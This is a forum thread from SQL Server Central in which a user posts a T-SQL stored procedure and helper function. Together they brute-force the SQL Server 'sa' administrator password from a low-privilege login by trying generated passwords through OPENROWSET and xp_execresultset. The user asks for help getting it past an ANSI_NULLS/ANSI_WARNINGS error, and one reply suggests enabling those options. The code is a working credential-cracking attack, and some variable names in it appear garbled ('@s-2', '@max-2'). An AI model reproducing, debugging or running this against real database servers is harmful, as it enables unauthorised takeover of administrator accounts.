Need help with a Stored Procedure.

Question

Post reply

Need help with a Stored Procedure.

Todd A Richardson

SSC Rookie

Points: 33
More actions
March 5, 2004 at 8:25 pm

#84238

I found an article on this site which creates a stored procedure to retrieve the SA Password with a public role. Here is the link http://www.sqlservercentral.com/scripts/contributions/615.asp
I have copied and pasted the script into Query Analyser. The only modification I made was to add my local Server IP Address to the connection string. (127.0.0.1) I then ren the script which created a stored Procedure called dbo.FindSAPublic and a user function named dbo.Possibilities. I then ran the stored procedure, gave it an integer of 5 and continue to gewt the same error:
Server: Msg 7405, Level 16, State 1, Line 1
Heterogeneous queries require the ANSI_NULLS and ANSI_WARNINGS options to be set for the connection. This ensures consistent query semantics. Enable these options and then reissue your query.
I am not sure what is going on, Can anyof you experts lend me a hand in getting this to work. Thank you. Here is the code fro the script.
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS OFF
GO
CREATE function Possibilities (@c bigint, @n bigint)
--returns how many different passwords are possible with 1 up to c characters from a universe
--of n different characters
returns bigint
as
BEGIN
declare @i bigint, @result bigint
set @i=1
set @result=0
while @i<=@c
BEGIN
set @result=@result+power(@n,@i)
set @i=@i+1
END
RETURN @result
END
GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS OFF
GO
CREATE PROCEDURE FindSApublic (@size int)
AS
SET NOCOUNT ON
DECLARE @query NVARCHAR(255),@i int,@j int,@n int,@max int,@temp int, @keys VARCHAR(50), @dtime datetime, @s-2 VARCHAR(10), @t VARCHAR(10)
SET @dtime=getdate()
SET @keys='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!_'
SET @max-2=test.dbo.Possibilities( @size, LEN(@keys))
SET @n=len(@keys)
SET @s-2='A'
SET @i=0
create table ##temppwd (pwd NVARCHAR(10))
WHILE @i<@max
BEGIN
SET @j-2=@i
WHILE (@j>0)
BEGIN
SET @temp=@j % (@n)-sign(len(@s))
if @temp<0 set @temp=@n-1
SET @j-2=@j /(@n+sign(len(@s)))
SET @s-2=substring(@keys,@temp+1,1)+@s
SET @t=@s
END
print @s-2
declare @s1 NVARCHAR(10) set @s1=CONVERT(NVARCHAR(10),@s)
--set @query=N'select ''insert ##temppwd select top 1 '''''+@s1+N''''' FROM OPENDATASOURCE(''''SQLOLEDB'''',''''Data Source='+@@SERVERNAME+N';User ID=sa;Password='+@s1+N''''').master.dbo.sysobjects '''
set @query=N'select ''insert ##temppwd select top 1 '''''+@s1+N''''' from OPENROWSET(''''MSDASQL'''',''''DRIVER={SQL Server};SERVER=;uid=sa;pwd='+@s1+N''''',''''select 1 '''')'''
exec master..xp_execresultset @query,N'master'
if EXISTS(select * from ##temppwd)
GOTO lblFound
SET @s-2=''
SET @i=@i+1
END
drop table ##temppwd
select 'Not found after '+str(@max)+' rounds, up to '+@t+' in '+CONVERT(varchar(255),datediff(n,@dtime,getdate()))+' minutes'
return
lblFound:
drop table ##temppwd
select 'Found: '+@s+' in '+CONVERT(varchar(255),datediff(n,@dtime,getdate()))+' minutes'
return
GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO

Viewing 3 posts - 1 through 3 (of 3 total)

You must be logged in to reply to this topic. Login to reply

Steve Jones - SSC Editor SSC Guru Points: 738642 More actions · Answer 1

Have you tried setting ANSI_NULLS on and ANSI_WARNINGS ON?

Todd A Richardson SSC Rookie Points: 33 More actions · Answer 2

I have tried every combinantion of ANSI_NULLS and ANSI_WARNINGS. And am still getting the same error. I am running this script from QueryAnalyser. Once it create the function and SP I have taken a look at them in Enterprise Manager and it never seems to show the ANSI_WARNINGS setting.